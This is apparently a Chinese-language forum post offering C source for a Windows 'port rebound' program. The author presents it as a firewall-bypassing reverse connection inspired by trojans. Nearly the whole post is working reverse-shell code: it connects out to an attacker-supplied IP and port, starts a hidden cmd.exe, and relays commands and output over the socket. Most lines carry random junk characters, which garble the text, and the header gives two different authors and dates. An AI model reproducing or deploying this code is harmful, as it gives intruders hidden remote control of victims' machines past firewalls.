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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kG^DHEne  
! av B&Z  
/* ============================== 2Xys;Dwx  
Rebound port in Windows NT k^:)|Z  
By wind,2006/7 ^y]CHr  
===============================*/ o['HiX  
#include aqSHo2]DX9  
#include ^OnU;8IC  
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#pragma comment(lib,"wsock32.lib") p'M5]G  
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void OutputShell(); N.vt5WP  
SOCKET sClient; M,7A|?O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dgh )Rfp3  
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void main(int argc,char **argv) TL-sxED,,D  
{ BqC!78Y/e  
WSADATA stWsaData; w]J9Kv1)-  
int nRet; GsA/pXx  
SOCKADDR_IN stSaiClient,stSaiServer; XCc /\  
nlOM4fJ(  
if(argc != 3) 1JM EniB+9  
{ WwG78b-OA  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ri=>evx  
return; q\cH+n)C  
} s<Px au+A  
4 |9M8ocR  
WSAStartup(MAKEWORD(2,2),&stWsaData); [*GIR0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iZ}  w>1  
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stSaiClient.sin_family = AF_INET; mtu/kd'(  
stSaiClient.sin_port = htons(0); >~8;H x].d  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;[V_w/-u  
7 p}J]!Z  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CZe0kH^:{  
{ RY3ANEu+  
printf("Bind Socket Failed!\n"); jT}3Zn  
return; A[`c2v-hF  
} ,\laqH\ 1%  
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stSaiServer.sin_family = AF_INET; SR7$m<0t*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0*^ J;QGE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Cgq/#2BM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1BO$xq  
{ = _X#JP79  
printf("Connect Error!"); Q\|72NWS  
return; 2#:/C:  
} (C>FM8$J  
OutputShell(); ErIAS6HS'  
} U ]jHe  
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void OutputShell() `@1y|j:m  
{ lO3W:,3_a  
char szBuff[1024]; QWz5iM  
SECURITY_ATTRIBUTES stSecurityAttributes; a$H*C(wL  
OSVERSIONINFO stOsversionInfo; pESlBQ7{I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =oQw?,eY  
STARTUPINFO stStartupInfo; -e0C Bp  
char *szShell; &D0suK#  
PROCESS_INFORMATION stProcessInformation; ?0 93'lA  
unsigned long lBytesRead; ,WSK '  
r!:W-Y%&#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8|*#r[x  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k`FCyO  
stSecurityAttributes.lpSecurityDescriptor = 0; feU]a5%XZ  
stSecurityAttributes.bInheritHandle = TRUE; 5mxHOtvtWM  
4gbi?UAmX  
z(V?pHv+  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BNns#Q8a  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =%P'?(o|  
acr@erk  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E]$YM5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U  ?'$E\  
stStartupInfo.wShowWindow = SW_HIDE; E`s9SE  
stStartupInfo.hStdInput = hReadPipe; 3jR,lEJyj  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GPlAQk  
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GetVersionEx(&stOsversionInfo); OjO$.ecT  
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switch(stOsversionInfo.dwPlatformId) /^ *GoB  
{ 3 d $  
case 1: _%^t[4)q  
szShell = "command.com"; \)Jv4U\;  
break; &* GwA  
default: {];4  
szShell = "cmd.exe"; oz $T.  
break; juOOD   
} tKg\qbY&  
*AX)QKQ@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yem*g1  
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send(sClient,szMsg,77,0); )#ze  
while(1) )P4#P2  
{ Vfew )]I  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @gzm4  
if(lBytesRead) 3l5rUjRwj  
{ kB_uU !G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ] =ar&1}J  
send(sClient,szBuff,lBytesRead,0); .C=&` ;Vs  
} Y^5X>  
else " a;z  
{ St/<\Y,wr  
lBytesRead=recv(sClient,szBuff,1024,0); {6MLbL{  
if(lBytesRead<=0) break; /?X1>A:*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K|*Cka{  
} 9`{[J['V  
} 2}`Q9?  
DF D5">g@  
return; fq-$u;~h  
}
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